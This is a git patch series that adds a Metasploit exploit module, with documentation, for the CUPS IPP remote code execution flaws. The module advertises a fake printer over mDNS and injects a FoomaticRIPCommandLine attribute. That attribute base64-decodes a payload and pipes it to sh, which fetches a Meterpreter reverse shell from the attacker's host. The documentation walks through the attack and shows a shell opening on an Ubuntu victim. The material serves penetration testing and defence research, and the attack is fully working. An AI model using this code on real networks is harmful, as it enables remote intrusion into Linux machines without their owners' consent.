From 720312ba1c97591a130a5c7b4a5e9621d8908ecb Mon Sep 17 00:00:00 2001 From: remmons-r7 <166433046+remmons-r7@users.noreply.github.com> Date: Mon, 11 Nov 2024 15:51:09 -0600 Subject: [PATCH 1/5] Create cups_ipp_remote_code_execution.rb --- .../misc/cups_ipp_remote_code_execution.rb | 607 ++++++++++++++++++ 1 file changed, 607 insertions(+) create mode 100644 modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb diff --git a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb new file mode 100644 index 000000000000..1ccdf2d83c6a --- /dev/null +++ b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb @@ -0,0 +1,607 @@ +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Exploit::Remote::DNS::Common + include Exploit::Remote::SocketServer + include Msf::Exploit::Remote::HttpServer::HTML + + # Accessor for IPP HTTP service + attr_accessor :service2 + + # Define IPP constants + module TagEnum + UNSUPPORTED_VALUE = 0x10 + + UNKNOWN_VALUE = 0x12 + NO_VALUE = 0x13 + + # Integer types + INTEGER = 0x21 + BOOLEAN = 0x22 + ENUM = 0x23 + + # String types + OCTET_STR = 0x30 + DATETIME_STR = 0x31 + RESOLUTION = 0x32 + RANGE_OF_INTEGER = 0x33 + TEXT_WITH_LANGUAGE = 0x35 + NAME_WITH_LANGUAGE = 0x36 + + TEXT_WITHOUT_LANGUAGE = 0x41 + NAME_WITHOUT_LANGUAGE = 0x42 + KEYWORD = 0x44 + URI = 0x45 + URI_SCHEME = 0x46 + CHARSET = 0x47 + NATURAL_LANGUAGE = 0x48 + MIME_MEDIA_TYPE = 0x49 + end + + # Define IPP printer operations + module OperationEnum + # https://tools.ietf.org/html/rfc2911#section-4.4.15 + PRINT_JOB = 0x0002 + VALIDATE_JOB = 0x0004 + CANCEL_JOB = 0x0008 + GET_JOB_ATTRIBUTES = 0x0009 + GET_JOBS = 0x000a + GET_PRINTER_ATTRIBUTES = 0x000b + + # 0x4000 - 0xFFFF is for extensions + # CUPS extensions listed here: + # https://web.archive.org/web/20061024184939/http://uw714doc.sco.com/en/cups/ipp.html + CUPS_GET_DEFAULT = 0x4001 + CUPS_LIST_ALL_PRINTERS = 0x4002 + end + + module JobStateEnum + # https://tools.ietf.org/html/rfc2911#section-4.3.7 + PENDING = 3 # AKA "IDLE" + PENDING_HELD = 4 + PROCESSING = 5 + PROCESSING_STOPPED = 6 + CANCELED = 7 + ABORTED = 8 + COMPLETED = 9 + end + + # Define IPP section constants + module SectionEnum + SECTIONS = 0x00 + SECTIONS_MASK = 0xf0 + OPERATION = 0x01 + JOB = 0x02 + ENDTAG = 0x03 # Changed from END + PRINTER = 0x04 + UNSUPPORTED = 0x05 + end + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'CUPS IPP Attributes LAN Remote Code Execution', + 'Description' => %q{ + This module exploits vulnerabilities in OpenPrinting CUPS, which is running by + default on most Linux distributions. The vulnerabilities allow an attacker on + the LAN to advertise a malicious printer that triggers remote code execution + when a victim sends a print job to the malicious printer. Successful exploitation + requires user interaction, but no CUPS services need to be reachable via accessible + ports. Code execution occurs in the context of the lp user. Affected versions + are cups-browsed <= 2.0.1, libcupsfilters <= 2.1b1, libppd <= 2.1b1, and + cups-filters <= 2.0.1. + }, + 'Author' => [ + # Original researcher + 'Simone Margaritelli', + # Public exploit + 'Rick de Jager', + # IPP server implementation based on Python's ipp-server + 'David Batley', + # mDNS functionality + 'Spencer McIntyre', + 'RageLtMan ', + # Metasploit module + 'Ryan Emmons' + ], + 'License' => MSF_LICENSE, + 'References' => [ + # The relevant CUPS CVE identifiers + ['CVE', '2024-47076'], + ['CVE', '2024-47175'], + ['CVE', '2024-47177'], + ['CVE', '2024-47176'], + # The initial researcher publication + ['URL', 'https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/'], + # The public exploit this module was inspired by + ['URL', 'https://github.com/RickdeJager/cupshax'], + # The cups-browsed GitHub security advisory + ['URL', 'https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8'], + # The libcupsfilters GitHub security advisory + ['URL', 'https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5'], + # The libppd GitHub security advisory + ['URL', 'https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6'], + # The cups-filters GitHub security advisory + ['URL', 'https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47'], + # The IPP server implementation this module is based on + ['URL', 'https://github.com/h2g2bob/ipp-server/'] + ], + # Executes as 'lp' on most Linux distributions + 'Privileged' => false, + 'Targets' => [['Default', {}]], + 'Platform' => %w[linux unix], + 'Arch' => [ARCH_CMD], + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', + 'FETCH_COMMAND' => 'WGET', + 'RPORT' => 443, + 'SSL' => true, + 'FETCH_WRITABLE_DIR' => '/var/tmp', + # Three hours by default, but can be modified for longer or shorter listening periods + 'WfsDelay' => 10_800 + }, + 'Actions' => [ + ['Service', { 'Description' => 'Run mDNS service' }] + ], + 'PassiveActions' => [ + 'Service' + ], + 'DefaultAction' => 'Service', + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-09-26', + 'Notes' => { + # There's a small chance the fake printer may flag as "broken" after one execution + # If this happens, other victims on the LAN will still be susceptible to code execution + # However, this *shouldn't* happen :) + 'Stability' => [CRASH_SAFE], + # Requires a user to send a print job to the malicious printer to trigger RCE + 'Reliability' => [EVENT_DEPENDENT], + 'SideEffects' => [ + # /var/log/cups/error_log will likely contain the payload, IPP server details, and printer name + # /var/log/cups/access_log will contain the IPP server details and printer name + IOC_IN_LOGS, + # The /tmp directory will likely contain a file called "foomatic-" + five random characters + # This file is a PDF owned by 'lp', and it's the content that the victim user tried to print + ARTIFACTS_ON_DISK + ] + } + ) + ) + + register_options( + [ + OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF']), + OptAddress.new('SRVHOST', [true, 'The local host to listen on (cannot be 0.0.0.0)']), + OptPort.new('SRVPORT', [true, 'The local port for the IPP service', 7575]) + ] + ) + end + + # + # Wrapper for service execution and cleanup + # + def exploit + if datastore['SRVHOST'] == '0.0.0.0' + fail_with(Failure::BadConfig, 'SRVHOST must be set to a specific address, not 0.0.0.0') + end + @printer_uuid = SecureRandom.uuid + start_mdns_service + start_ipp_service + print_status("Services started. Printer '#{datastore['PrinterName']}' is being advertised") + print_status("The exploit will continue listening for the next #{datastore['WfsDelay']} seconds") + service.wait + rescue Rex::BindFailed => e + print_error "Failed to bind to port: #{e.message}" + end + + # mDNS code below + + def start_mdns_service + comm = _determine_server_comm(bindhost) + self.service = Rex::ServiceManager.start( + Rex::Proto::MDNS::Server, + '0.0.0.0', + 5353, + false, + nil, + comm, + { 'Msf' => framework, 'MsfExploit' => self } + ) + + service.dispatch_request_proc = proc do |cli, data| + on_dispatch_mdns_request(cli, data) + end + service.send_response_proc = proc do |cli, data| + on_send_mdns_response(cli, data) + end + rescue ::Errno::EACCES => e + raise Rex::BindFailed.new(e.message) + end + + def create_ipp_response(version_major, version_minor, request_id) + # Printer attributes + attributes = {} + + # Creating an MVP ("Minimum Viable Printer") + + # charset + attributes[[SectionEnum::PRINTER, 'attributes-configured', TagEnum::CHARSET]] = ['utf-8'] + + # charset + attributes[[SectionEnum::PRINTER, 'attributes-supported', TagEnum::CHARSET]] = ['utf-8'] + + # keyword + attributes[[SectionEnum::PRINTER, 'compression-supported', TagEnum::KEYWORD]] = ['none'] + + # mimeMediaType + attributes[[SectionEnum::PRINTER, 'document-format-default', TagEnum::MIME_MEDIA_TYPE]] = ['application/pdf'] + + # mimeMediaType + attributes[[SectionEnum::PRINTER, 'document-format-supported', TagEnum::MIME_MEDIA_TYPE]] = ['application/pdf'] + + # naturalLanguage + attributes[[SectionEnum::PRINTER, 'generated-natural-language-supported', TagEnum::NATURAL_LANGUAGE]] = ['en'] + + # keyword + attributes[[SectionEnum::PRINTER, 'ipp-versions-supported', TagEnum::KEYWORD]] = ['1.1'] + + # keyword + attributes[[SectionEnum::PRINTER, 'media-default', TagEnum::KEYWORD]] = ['iso_a4_210x297mm'] + + # keyword + attributes[[SectionEnum::PRINTER, 'media-supported', TagEnum::KEYWORD]] = ['iso_a4_210x297mm'] + + # keyword + attributes[[SectionEnum::PRINTER, 'media-type', TagEnum::KEYWORD]] = ['stationery'] + + enc_payload = Rex::Text.encode_base64(payload.encoded) + + # 1setOf keyword + attributes[[SectionEnum::PRINTER, 'media-type-supported', TagEnum::KEYWORD]] = [ + 'stationery', + # Here's our base64-encoded fetch payload, which will grab a Meterpreter binary from our stager HTTP server + ": HAX\n*FoomaticRIPCommandLine: echo -n #{enc_payload}|base64 -d|sh;#\n*cupsFilter2: \"application/vnd.cups-pdf application/pdf 0 foomatic-rip\"\n*%" + ] + + # naturalLanguage + attributes[[SectionEnum::PRINTER, 'natural-language-configured', TagEnum::NATURAL_LANGUAGE]] = ['en'] + + # 1setOf enum + attributes[[SectionEnum::PRINTER, 'document-format-supported', TagEnum::ENUM]] = [ + OperationEnum::PRINT_JOB, + OperationEnum::VALIDATE_JOB, + OperationEnum::CANCEL_JOB, + OperationEnum::GET_JOB_ATTRIBUTES, + OperationEnum::GET_PRINTER_ATTRIBUTES + ] + + # keyword + attributes[[SectionEnum::PRINTER, 'pdl-override-supported', TagEnum::KEYWORD]] = ['not-attempted'] + + # textWithoutLanguage + attributes[[SectionEnum::PRINTER, 'printer-info', TagEnum::TEXT_WITHOUT_LANGUAGE]] = ['Printer'] + + # textWithoutLanguage + attributes[[SectionEnum::PRINTER, 'printer-make-and-model', TagEnum::TEXT_WITHOUT_LANGUAGE]] = ['Printer 1.00'] + + # nameWithoutLanguage + attributes[[SectionEnum::PRINTER, 'printer-name', TagEnum::NAME_WITHOUT_LANGUAGE]] = ['Printer'] + + # enum + attributes[[SectionEnum::PRINTER, 'printer-state', TagEnum::ENUM]] = [JobStateEnum::PENDING] # AKA IDLE + + # keyword + attributes[[SectionEnum::PRINTER, 'printer-state-reasons', TagEnum::KEYWORD]] = ['none'] + + # integer + attributes[[SectionEnum::PRINTER, 'pdl-override-supported', TagEnum::INTEGER]] = [Time.now.to_i] + + # uri + attributes[[SectionEnum::PRINTER, 'printer-uri-supported', TagEnum::URI]] = ['ipp://localhost:631/printer'] + + # keyword + attributes[[SectionEnum::PRINTER, 'uri-authentication-supported', TagEnum::KEYWORD]] = ['none'] + + # keyword + attributes[[SectionEnum::PRINTER, 'uri-security-supported', TagEnum::KEYWORD]] = ['none'] + + # Create response, imitating ipp-server's 'to_file' function + + # Pack the version + response = [version_major, version_minor].pack('C*') + + # Pack the 2-byte status code + response << [0x0000].pack('n') + + # Pack the 4-byte request ID + response << [request_id].pack('N') + + # Group the above defined attributes by section (we use the PRINTER section for the payload) + attributes.group_by { |k, _v| k[0] }.each do |section, attrs_in_section| + response << [section].pack('C') + + attrs_in_section.each do |key, values| + _section, name, tag = key + values.each_with_index do |value, i| + response << [tag].pack('C') + if i == 0 + response << [name.length].pack('n') + response << name + else + response << [0].pack('n') + end + + # Make sure non-string values work by packing as four bytes (should work for all ints) + if value.is_a?(Integer) + response << [4].pack('n') + response << [value].pack('N') + else + # Packing strings + response << [value.length].pack('n') + response << value + end + end + end + end + + # Close out attributes with an ENDTAG + response << [SectionEnum::ENDTAG].pack('C') + + response + end + + # + # IPP servers communicate using a binary protocol via HTTP + # + def start_ipp_service + comm = _determine_server_comm(datastore['SRVHOST']) + + # If the IPP web service is still present from a previous run, initialize state + if service2 + service2.remove_resource('/ipp/print') + service2.stop + self.service2 = nil + end + + # Start the IPP web service + self.service2 = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + datastore['SRVPORT'], + datastore['SRVHOST'], + false, + { 'Msf' => framework, 'MsfExploit' => self }, + comm + ) + + # Register a route for queries to the printer + service2.add_resource('/ipp/print', + 'Proc' => proc do |cli, req| + case req.method + # Some printers perform an initial GET request before the exploitable POST request + # We serve up agreeable placeholder data for that initial request + when 'GET' + # Send HTTP response data + ppd_content = ppd_out + send_response(cli, ppd_content, + 'Content-Type' => 'application/postscript') + + # When the victim system interacts with our printer, a POST request will be received + when 'POST' + # When VERBOSE is true, all request bytes will be printed + vprint_status("Received IPP request: #{req.body.bytes.map do |b| + format('%02x', b) + end.join(' ')}") + data = req.body.bytes + return if data.length < 8 + + # Extract version, operation, and request ID from the request to print in VERBOSE mode + version_major = data[0] + version_minor = data[1] + operation_id = (data[2] << 8) | data[3] + request_id = (data[4] << 24) | (data[5] << 16) | (data[6] << 8) | data[7] + + vprint_status("IPP Version: #{version_major}.#{version_minor}, Operation: 0x#{operation_id.to_s(16)}, Request ID: #{request_id}") + + # Respond to the IPP request to confirm the printer is a valid target and inject the malicious payload + response = create_ipp_response(version_major, version_minor, request_id) + + send_response(cli, response, + 'Content-Type' => 'application/ipp', + 'Content-Length' => response.length.to_s) + end + rescue StandardError => e + vprint_error('An error occurred while processing an IPP request') + vprint_error("IPP Error is #{e.class} - #{e.message}") + vprint_error("#{e.backtrace.join("\n")}") + raise e + end, + 'Path' => '/ipp/print') + + print_status("IPP service started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + rescue Rex::BindFailed => e + vprint_error("Failed to bind IPP web service to #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + raise e + end + + # + # Printer info for victim systems that require an initial GET request. + # + def ppd_out + <<~PPD + *PPD-Adobe: "4.3" + *FormatVersion: "4.3" + *FileVersion: "1.0" + *LanguageVersion: English + *LanguageEncoding: ISOLatin1 + *PCFileName: "#{datastore['PrinterName']}.PPD" + *Manufacturer: "#{datastore['PrinterName']}" + *Product: "(#{datastore['PrinterName']})" + *ModelName: "#{datastore['PrinterName']}" + *ShortNickName: "#{datastore['PrinterName']}" + *NickName: "#{datastore['PrinterName']}" + *PSVersion: "(3010.000) 0" + *LanguageLevel: "3" + *ColorDevice: True + *DefaultColorSpace: RGB + *FileSystem: False + *Throughput: "1" + *LandscapeOrientation: Plus90 + *TTRasterizer: Type42 + *cupsVersion: 1.4 + *cupsModelNumber: 1 + *cupsManualCopies: True + *cupsFilter: "application/vnd.cups-postscript 0 -" + *cupsFilter: "application/vnd.cups-pdf 0 -" + *OpenUI *PageSize/Media Size: PickOne + *DefaultPageSize: Letter + *PageSize Letter: "<>setpagedevice" + *CloseUI: *PageSize + *DefaultImageableArea: Letter + *ImageableArea Letter: "0 0 612 792" + *DefaultPaperDimension: Letter + *PaperDimension Letter: "612 792" + PPD + end + + # + # Creates Proc to handle incoming requests + # + def on_dispatch_mdns_request(cli, data) + # Handle empty mDNS data + return if data.strip.empty? + + # Encode the incoming packet as a Dnsruby message + req = Packet.encode_drb(data) + + # Ignore responses + return if req.header.qr + + # Print the incoming request in VERBOSE mode (will produce a lot of output) + peer = Rex::Socket.to_authority(cli.peerhost, cli.peerport) + asked = req.question.map(&:qname).map(&:to_s).join(', ') + vprint_status("Received request for #{asked} from #{peer}") + + # Assign printer name variables for mDNS responses + printer_name = datastore['PrinterName'] + printer_name_no_space = printer_name.gsub(/ /, '') + ipp_printer_name = "#{printer_name_no_space}._ipp._tcp.local" + + # A draft approach was to advertise our malicious printer by selectively responding only to _ipp and _printer queries + # However, that requires the victim to search for new printers, which doesn't happen on most systems during a print dialog (it requires Settings->Printers->"Add Printer" on Ubuntu) + # Also, different distributions seem to have different flows for that, which made the approach unreliable + # So, instead of that, we just spray responses to every single mDNS query within the multicast domain to automatically populate the victim's printer list with our malicious printer + req.question.each do |_question| + # PTR record + req.add_answer(Dnsruby::RR.create( + name: '_ipp._tcp.local.', + type: 'PTR', + # Keeping TTL low because ghost records from previous module runs will hang the Linux printer selection window for ~30 seconds, impeding exploitation + # Since we're spraying advertisements in response to everything, low TTL shouldn't be an issue + ttl: 30, + domainname: "#{ipp_printer_name}." + )) + # A record for our printer + # All of these answers seem to need to be additional record answers, not just answers + req.add_additional(Dnsruby::RR.create( + name: "#{printer_name_no_space}.local.", + type: 'A', + ttl: 30, + # The IP address of our malicious HTTP IPP service + address: datastore['SRVHOST'] + )) + + # SRV record + req.add_additional(Dnsruby::RR.create( + name: "#{ipp_printer_name}.", + type: 'SRV', + ttl: 30, + priority: 0, + weight: 0, + # The port of our malicious HTTP IPP service + port: datastore['SRVPORT'], + target: "#{printer_name_no_space}.local." + )) + + # TXT record + req.add_additional(Dnsruby::RR.create( + name: "#{ipp_printer_name}.", + type: 'TXT', + ttl: 30 + ).tap do |rr| + rr.strings = [ + 'txtvers=1', + 'qtotal=1', + 'rp=ipp/print', + "ty=#{printer_name}", + 'pdl=application/postscript,application/pdf', + # The "adminurl" value may or may not be queried, depending on the victim type + # Points to our malicious HTTP IPP service + "adminurl=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}", + 'priority=0', + 'color=T', + 'duplex=T', + # Unique UUID to avoid printer collision from multiple runs with the same configuration + "UUID=#{@printer_uuid}" + ] + end) + + # NSEC record, seems to be required, should be additional answer type + req.add_additional(Dnsruby::RR.create( + name: "#{ipp_printer_name}.", + type: 'NSEC', + ttl: 30, + next_domain: "#{ipp_printer_name}.", + types: 'AAAA' + )) + + # Indicate our mDNS message is a query response + req.header.qr = 1 + # In response messages for Multicast domains, the Authoritative Answer bit MUST be set to one + # https://datatracker.ietf.org/doc/html/rfc6762 + req.header.aa = 1 + + # Clear questions and update counts for our response + req.question.clear + req.update_counts + + # Encode and send response + response_data = Packet.generate_response(req).encode + + service.send_response(cli, response_data) + + # Avoid responding a bunch of times for each query + break + + end + end + + # + # Creates Proc to handle outbound responses + # + def on_send_mdns_response(cli, data) + # This peerhost reassign is really clunky, but I struggled to get Metasploit to associate an existing request from a client with a multicast response addr any other way + # Unfortunately, I believe multicast traffic can't be tunnelled through Meterpreter agents, so this exploit will not work over pivots + cli.instance_variable_set(:@peerhost, '224.0.0.251') + + # Log to console in VERBOSE mode, then write response + vprint_status("Sending response via #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}") + cli.write(data) + end + + def cleanup + super + if service2 + # Remove the IPP resource before stopping the HTTP service + service2.remove_resource('/ipp/print') + service2.stop + self.service2 = nil + end + + return unless service + + # Stop the mDNS service + service.stop + self.service = nil + end +end From b712f9a745d5ad78fd5a6f8a8fdebf5e75b39be2 Mon Sep 17 00:00:00 2001 From: remmons-r7 <166433046+remmons-r7@users.noreply.github.com> Date: Mon, 11 Nov 2024 15:53:14 -0600 Subject: [PATCH 2/5] Create cups_ipp_remote_code_execution.md --- .../misc/cups_ipp_remote_code_execution.md | 119 ++++++++++++++++++ 1 file changed, 119 insertions(+) create mode 100644 documentation/modules/exploit/multi/misc/cups_ipp_remote_code_execution.md diff --git a/documentation/modules/exploit/multi/misc/cups_ipp_remote_code_execution.md b/documentation/modules/exploit/multi/misc/cups_ipp_remote_code_execution.md new file mode 100644 index 000000000000..5d95e5b16b3d --- /dev/null +++ b/documentation/modules/exploit/multi/misc/cups_ipp_remote_code_execution.md @@ -0,0 +1,119 @@ +## Vulnerable Application + +This module exploits vulnerabilities in OpenPrinting CUPS that allow an attacker on the LAN to advertise a malicious printer that triggers remote code execution when a victim sends a print job to it. For a technical analysis of the vulnerability, read the [original researcher's publication](https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/). The vulnerabilities affect the following components and versions: + +- cups-browsed <= 2.0.1 +- libcupsfilters <= 2.1b1 +- libppd <= 2.1b1 +- cups-filters <= 2.0.1 + +Successful exploitation requires user interaction (victim must attempt to print to the malicious printer), but no CUPS services need to be reachable via accessible ports. Code execution occurs in the context of the 'lp' user. NOTE: Many mNDS multicast advertisements will be sprayed by this module to increase the odds of automatically populating the victim's printer list. + +## Testing + +The module has been tested against Ubuntu 22.04 with an unpatched default CUPS installation. The exploit should work against most Linux distributions that use a vulnerable version of CUPS for printing. + +## Verification Steps + +1. Start msfconsole +2. `use exploit/multi/misc/cups_ipp_remote_code_execution` +3. `set SRVHOST ` (cannot be 0.0.0.0) +4. `set LHOST ` +5. `set PrinterName ` (defaults to "PrintToPDF") +6. `exploit` +7. From a victim system on the LAN, open a printer dialog. For example, browse to any web page in Firefox and press Ctrl+P. +8. Select the malicious printer from the printer selection dropdown. When the victim has fetched the FoomaticRIP payload from the malicious IPP server, the "Print" button should become clickable. +9. Click "Print". A new meterpreter session should open. + +## Options + +**PrinterName** + +The name of the malicious printer to advertise on the network. Default: PrintToPDF + +**SRVHOST** + +The local host address to listen on. This must be set to a specific interface address, not 0.0.0.0, since it's used in mDNS advertisements + +**SRVPORT** + +The local port for the IPP service. Default: 7575 + +## Scenarios + +### Linux Command + +Note: The listener should be left running until a victim interacts with the fake printer. By default, the 'WfsDelay' stager time value is 10800 seconds, or three hours + +``` +[msf](Jobs:0 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> show options + +Module options (exploit/multi/misc/cups_ipp_remote_code_execution): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PrinterName PrintToPDF yes The printer name + SRVHOST yes The local host to listen on (cannot be 0.0.0.0) + SRVPORT 7575 yes The local port for the IPP service + SSL true no Negotiate SSL for incoming connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + URIPATH no The URI to use for this exploit (default is random) + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME JXrkCMgtG no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Default + + + +View the full module info with the info, or info -d command. + +[msf](Jobs:0 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> set SRVHOST 192.168.5.2 +SRVHOST => 192.168.5.2 +[msf](Jobs:0 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> set LHOST 192.168.5.2 +SRVHOST => 192.168.5.2 +[msf](Jobs:0 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> set SRVPORT 9596 +SRVPORT => 9596 +[msf](Jobs:0 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> set PrinterName Canon +PrinterName => Canon +[msf](Jobs:0 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> run +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. + +[*] Started reverse TCP handler on 192.168.5.2:4444 +[msf](Jobs:1 Agents:0) exploit(multi/misc/cups_ipp_remote_code_execution) >> +[*] IPP service started on 192.168.5.2:9596 +[*] Services started. Printer 'Canon' is being advertised +[*] The exploit will continue listening for victim callbacks for the next 10800 seconds +[*] Meterpreter session 1 opened (192.168.5.2:4444 -> 192.168.5.251:59248) at 2024-11-11 12:55:55 -0600 + +[msf](Jobs:1 Agents:1) exploit(multi/misc/cups_ipp_remote_code_execution) >> sessions -i 1 +[*] Starting interaction with 1... + +(Meterpreter 1)(/) > sysinfo +Computer : 192.168.5.251 +OS : Ubuntu 22.04 (Linux 6.5.0-18-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 1)(/) > getuid +Server username: lp +(Meterpreter 1)(/) > +``` From 4951a9b24d69b4caf85efd0eb9b51e75fafa18cb Mon Sep 17 00:00:00 2001 From: remmons-r7 <166433046+remmons-r7@users.noreply.github.com> Date: Mon, 11 Nov 2024 15:54:44 -0600 Subject: [PATCH 3/5] Create mDNS server.rb --- lib/rex/proto/mdns/server.rb | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 lib/rex/proto/mdns/server.rb diff --git a/lib/rex/proto/mdns/server.rb b/lib/rex/proto/mdns/server.rb new file mode 100644 index 000000000000..8c6cadf20e7b --- /dev/null +++ b/lib/rex/proto/mdns/server.rb @@ -0,0 +1,19 @@ +# -*- coding: binary -*- + +require 'rex/socket' +module Rex + module Proto + module MDNS + class Server < Rex::Proto::DNS::Server + def initialize(lhost = '0.0.0.0', lport = 5353, start_cache = false, res = nil, comm = nil, _ctx = {}, dblock = nil, + sblock = nil) + super(lhost, lport, true, false, start_cache, res, comm, dblock, sblock) + end + + def alias + 'mDNS Server' + end + end + end + end +end From 24d3ef16cfbc421adcd70a7e6f827730b0597d34 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 21 Nov 2024 15:08:43 -0500 Subject: [PATCH 4/5] Remove some unnecessary code, switch to passive stance --- lib/rex/proto/dns/server.rb | 3 + .../misc/cups_ipp_remote_code_execution.rb | 62 ++++++++----------- 2 files changed, 28 insertions(+), 37 deletions(-) diff --git a/lib/rex/proto/dns/server.rb b/lib/rex/proto/dns/server.rb index a324b11b3b9b..03cb63a45517 100644 --- a/lib/rex/proto/dns/server.rb +++ b/lib/rex/proto/dns/server.rb @@ -9,8 +9,11 @@ module DNS class Server class MockDnsClient + extend Forwardable attr_reader :peerhost, :peerport, :srvsock + def_delegators :@srvsock, :localhost, :localport, :sendto + # # Create mock DNS client # diff --git a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb index 1ccdf2d83c6a..0909dda13afc 100644 --- a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb +++ b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb @@ -133,20 +133,10 @@ def initialize(info = {}) 'Platform' => %w[linux unix], 'Arch' => [ARCH_CMD], 'DefaultOptions' => { - 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', 'FETCH_COMMAND' => 'WGET', - 'RPORT' => 443, - 'SSL' => true, - 'FETCH_WRITABLE_DIR' => '/var/tmp', - # Three hours by default, but can be modified for longer or shorter listening periods - 'WfsDelay' => 10_800 + 'FETCH_WRITABLE_DIR' => '/var/tmp' }, - 'Actions' => [ - ['Service', { 'Description' => 'Run mDNS service' }] - ], - 'PassiveActions' => [ - 'Service' - ], + 'Stance' => Msf::Exploit::Stance::Passive, 'DefaultAction' => 'Service', 'DefaultTarget' => 0, 'DisclosureDate' => '2024-09-26', @@ -171,41 +161,48 @@ def initialize(info = {}) register_options( [ - OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF']), + OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF'], regex: /^[a-zA-Z0-9_ ]+$/), OptAddress.new('SRVHOST', [true, 'The local host to listen on (cannot be 0.0.0.0)']), OptPort.new('SRVPORT', [true, 'The local port for the IPP service', 7575]) ] ) end + def validate + super + + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + raise Msf::OptionValidateError.new({ 'SRVHOST' => 'The SRVHOST option must be set to a routable IP address.'}) + end + + # Rex::Socket does not support forwarding UDP multicast sockets right now so raise an exception if that's configured + unless _determine_server_comm(datastore['SRVHOST']) == Rex::Socket::Comm::Local + raise Msf::OptionValidateError.new({ 'SRVHOST' => 'SRVHOST can not be forwarded via a session.' }) + end + end + # # Wrapper for service execution and cleanup # def exploit - if datastore['SRVHOST'] == '0.0.0.0' - fail_with(Failure::BadConfig, 'SRVHOST must be set to a specific address, not 0.0.0.0') - end @printer_uuid = SecureRandom.uuid start_mdns_service start_ipp_service print_status("Services started. Printer '#{datastore['PrinterName']}' is being advertised") - print_status("The exploit will continue listening for the next #{datastore['WfsDelay']} seconds") service.wait rescue Rex::BindFailed => e print_error "Failed to bind to port: #{e.message}" end # mDNS code below - def start_mdns_service - comm = _determine_server_comm(bindhost) self.service = Rex::ServiceManager.start( Rex::Proto::MDNS::Server, '0.0.0.0', 5353, false, nil, - comm, + Rex::Socket::Comm::Local, { 'Msf' => framework, 'MsfExploit' => self } ) @@ -355,23 +352,14 @@ def create_ipp_response(version_major, version_minor, request_id) # IPP servers communicate using a binary protocol via HTTP # def start_ipp_service - comm = _determine_server_comm(datastore['SRVHOST']) - - # If the IPP web service is still present from a previous run, initialize state - if service2 - service2.remove_resource('/ipp/print') - service2.stop - self.service2 = nil - end - # Start the IPP web service self.service2 = Rex::ServiceManager.start( Rex::Proto::Http::Server, - datastore['SRVPORT'], - datastore['SRVHOST'], + srvport, + srvhost, false, { 'Msf' => framework, 'MsfExploit' => self }, - comm + Rex::Socket::Comm::Local ) # Register a route for queries to the printer @@ -418,9 +406,9 @@ def start_ipp_service end, 'Path' => '/ipp/print') - print_status("IPP service started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + print_status("IPP service started on #{Rex::Socket.to_authority(srvhost, srvport)}") rescue Rex::BindFailed => e - vprint_error("Failed to bind IPP web service to #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + vprint_error("Failed to bind IPP web service to #{Rex::Socket.to_authority(srvhost, srvport)}") raise e end @@ -537,7 +525,7 @@ def on_dispatch_mdns_request(cli, data) 'pdl=application/postscript,application/pdf', # The "adminurl" value may or may not be queried, depending on the victim type # Points to our malicious HTTP IPP service - "adminurl=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}", + "adminurl=http://#{Rex::Socket.to_authority(srvhost, srvport)}", 'priority=0', 'color=T', 'duplex=T', @@ -582,15 +570,15 @@ def on_dispatch_mdns_request(cli, data) 